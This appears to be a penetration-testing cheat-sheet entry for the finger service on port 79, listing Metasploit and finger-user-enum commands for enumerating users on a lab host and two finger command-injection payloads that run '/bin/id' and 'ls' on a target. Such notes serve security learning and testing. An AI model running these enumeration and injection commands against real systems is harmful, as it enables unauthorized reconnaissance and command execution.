79 ) Finger

• Using msf

use auxiliary/scanner/finger/finger_users
set RHOSTS 10.10.10.76
run

• finger-user-enum

# Install
git clone https://github.com/pentestmonkey/finger-user-enum.git ; cd cd finger-user-enum ; ls -al    

# Run
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76 | less -S  
./finger-user-enum.pl -u root -t 10.10.10.76 | less -S  

• Command Injection.

finger "|/bin/id@<IP>"
finger "|/bin/ls -a /<IP>"